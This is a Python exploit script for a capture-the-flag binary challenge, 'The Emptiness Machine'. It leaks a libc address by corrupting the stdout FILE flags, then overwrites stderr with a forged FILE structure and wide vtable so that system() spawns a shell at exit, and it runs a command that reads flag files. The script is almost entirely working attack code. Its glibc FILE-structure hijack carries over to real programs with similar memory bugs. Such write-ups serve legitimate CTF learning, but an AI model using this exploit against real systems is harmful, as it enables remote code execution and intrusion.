#!/usr/bin/env python3
"""Exploit for HTB Cyber Apocalypse 2026: The Emptiness Machine."""

from __future__ import annotations

import argparse
import re
import socket
import struct
import sys
import time


PROMPT = b"Rin's interaction: "
WHITESPACE = b" \t\n\r\v\f"

# Offsets in the supplied Ubuntu glibc 2.39.
LEAK_TO_LIBC_BASE = 0x1BD4A0
STDERR = 0x2044E0
STDERR_LOCK = 0x205700
SYSTEM = 0x58750
WFILE_JUMPS = 0x202228


def p64(value: int) -> bytes:
    return struct.pack("<Q", value)


def u64(data: bytes) -> int:
    return struct.unpack("<Q", data)[0]


def put64(payload: bytearray, offset: int, value: int) -> None:
    payload[offset : offset + 8] = p64(value)


class Connection:
    def __init__(self, host: str, port: int, timeout: float) -> None:
        self.sock = socket.create_connection((host, port), timeout=timeout)
        self.sock.settimeout(timeout)
        self.buffer = bytearray()

    def close(self) -> None:
        self.sock.close()

    def sendline(self, data: bytes) -> None:
        self.sock.sendall(data + b"\n")

    def recvuntil(self, marker: bytes, maximum: int = 2 * 1024 * 1024) -> bytes:
        while marker not in self.buffer:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise EOFError(f"connection closed after {len(self.buffer)} bytes")
            self.buffer.extend(chunk)
            if len(self.buffer) > maximum:
                raise RuntimeError(f"marker not found within {maximum} bytes")

        end = self.buffer.index(marker) + len(marker)
        result = bytes(self.buffer[:end])
        del self.buffer[:end]
        return result

    def recvall(self, idle_timeout: float = 2.0) -> bytes:
        output = bytearray(self.buffer)
        self.buffer.clear()
        deadline = time.monotonic() + idle_timeout
        while time.monotonic() < deadline:
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                break
            if not chunk:
                break
            output.extend(chunk)
            deadline = time.monotonic() + idle_timeout
        return bytes(output)


def build_stage1() -> bytes:
    return p64(0xFBAD1800) + p64(0) * 3 + b"\x00"


def build_stage2(libc_base: int) -> bytes:
    stderr = libc_base + STDERR
    payload = bytearray(224)

    # stderr begins with the command passed to system().
    payload[0:8] = b"A=;sh\x00\x00\x00"

    # Mark stderr for flushing during exit.
    put64(payload, 0x20, 0)  # _IO_write_base
    put64(payload, 0x28, 1)  # _IO_write_ptr
    put64(payload, 0x88, libc_base + STDERR_LOCK)

    # Store the wide FILE layout inside stderr.
    put64(payload, 0xA0, stderr - 0x10)  # _wide_data
    struct.pack_into("<i", payload, 0xC0, 0)  # _mode
    put64(payload, 0xC8, libc_base + SYSTEM)
    put64(payload, 0xD0, stderr + 0x60)  # fake wide vtable
    put64(payload, 0xD8, libc_base + WFILE_JUMPS)  # validated outer vtable

    return bytes(payload)


def find_libc_base(disclosure: bytes) -> tuple[int, int, int]:
    """Scan the disclosure for the libc pointer."""

    candidates = []
    for offset in range(len(disclosure) - 7):
        leaked_pointer = u64(disclosure[offset : offset + 8])
        libc_base = leaked_pointer - LEAK_TO_LIBC_BASE

        if not 0x700000000000 <= leaked_pointer < 0x800000000000:
            continue
        if libc_base <= 0 or libc_base & 0xFFF:
            continue

        candidates.append((offset, leaked_pointer, libc_base))

    if not candidates:
        raise ValueError(
            f"no page-aligned libc candidate in {len(disclosure)} leaked bytes"
        )

    return candidates[0]


def exploit_once(
    host: str,
    port: int,
    timeout: float,
    command: str,
) -> tuple[bytes | None, str]:
    connection = Connection(host, port, timeout)
    try:
        connection.recvuntil(PROMPT)
        connection.sendline(build_stage1())

        disclosure = connection.recvuntil(PROMPT)
        try:
            leak_offset, leaked_pointer, libc_base = find_libc_base(disclosure)
        except ValueError as exc:
            return None, str(exc)

        stage2 = build_stage2(libc_base)
        bad = [(index, byte) for index, byte in enumerate(stage2) if byte in WHITESPACE]
        if bad:
            locations = ", ".join(f"{index:#x}={byte:#x}" for index, byte in bad)
            return None, f"ASLR produced scanf whitespace bytes: {locations}"

        print(f"[+] libc leak: {leaked_pointer:#x}")
        print(f"[+] libc base: {libc_base:#x}")
        print(f"[+] leak offset: {leak_offset:#x}")
        connection.sendline(stage2)
        connection.sendline(command.encode())
        return connection.recvall(), "payload delivered"
    finally:
        connection.close()


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("host")
    parser.add_argument("port", type=int)
    parser.add_argument(
        "--command",
        default="cat /flag.txt 2>/dev/null; cat flag.txt 2>/dev/null; exit",
        help="command run by the spawned shell",
    )
    parser.add_argument("--attempts", type=int, default=20)
    parser.add_argument("--timeout", type=float, default=4.0)
    args = parser.parse_args()

    for attempt in range(1, args.attempts + 1):
        print(f"[*] attempt {attempt}/{args.attempts}")
        try:
            output, status = exploit_once(
                args.host,
                args.port,
                args.timeout,
                args.command,
            )
        except (ConnectionError, EOFError, OSError, RuntimeError) as exc:
            print(f"[-] {exc}")
            continue

        if output is None:
            print(f"[-] retrying: {status}")
            continue

        sys.stdout.buffer.write(output)
        if output and not output.endswith(b"\n"):
            print()

        match = re.search(rb"HTB\{[^}\r\n]+\}", output)
        if match:
            print(f"[+] flag: {match.group().decode()}")
            return 0

        print("[-] shell ran, but no HTB flag was found in its output")
        return 1

    print("[-] all attempts exhausted")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())